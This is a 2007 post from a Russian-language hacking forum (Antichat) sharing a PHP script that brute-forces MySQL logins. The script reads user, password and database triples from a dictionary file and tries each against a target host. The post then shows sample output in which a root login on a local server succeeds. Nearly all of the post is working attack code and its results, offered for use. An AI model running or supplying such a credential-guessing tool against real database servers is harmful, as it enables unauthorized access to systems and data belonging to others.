Показать сообщение отдельно

  #6  
Старый 27.09.2007, 18:56
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
С нами: 9999746

Репутация: 1318


По умолчанию

Код:
<?php

	$target = "127.0.0.1:3306";   // Реквизиты хоста
	$dictionary = "brute.dic";   // Путь к словарю

	if (!file_exists($dictionary)) die("Error: dictionary not found!");

	$file_id = fopen($dictionary, "r") or die("Error: could not open dictionary!");

	while (!feof($file_id)) {
		$line = trim(fgets($file_id, 1024));

		if (strlen($line) > 0) {
			$dic_data = split(":", $line);

			if (count($dic_data) != 3) print("Error: wrong data - skipping current line");
			else {
				$user		 = strval($dic_data[0]);
				$password = strval($dic_data[1]);
				$database = strval($dic_data[2]);

				printf("Trying USER=%s PASSWD=%s DBNAME=%s. Result: ", $user, $password, $database);

				$db_id = @mysql_connect($target, $user, $password);

				if (!is_resource($db_id)) print("<font color=\"red\">failed</font><br>\n");
				else {
					print("<font color=\"green\"><b>!!! SUCCESS !!!</b></font><br>\n");
					printf("Trying to get database '%s' for user '%s'. Result: ", $database, $user);

					if (!@mysql_selectdb($database)) print("<font color=\"red\">failed</font><br>\n");
					else print("<font color=\"green\"><b>!!! SUCCESS !!!</b></font><br>\n");
				}

				@mysql_close($db_id);
			}
		}
	}

	fclose($file_id);

?>
Словарь формата: USER:PASSATABASE.

Результат теста на локальном мускле:

Цитата:
Tring USER=user1 PASSWD=pass1 DBNAME=database1. Result: failed
Tring USER=user2 PASSWD=pass2 DBNAME=database2. Result: failed
Tring USER=user3 PASSWD=pass3 DBNAME=database3. Result: failed
Tring USER=root PASSWD=!root! DBNAME=test. Result: !!! SUCCESS !!!
Trying to get database 'test' for user 'root'. Result: !!! SUCCESS !!!
Это имел в виду?
 
Ответить с цитированием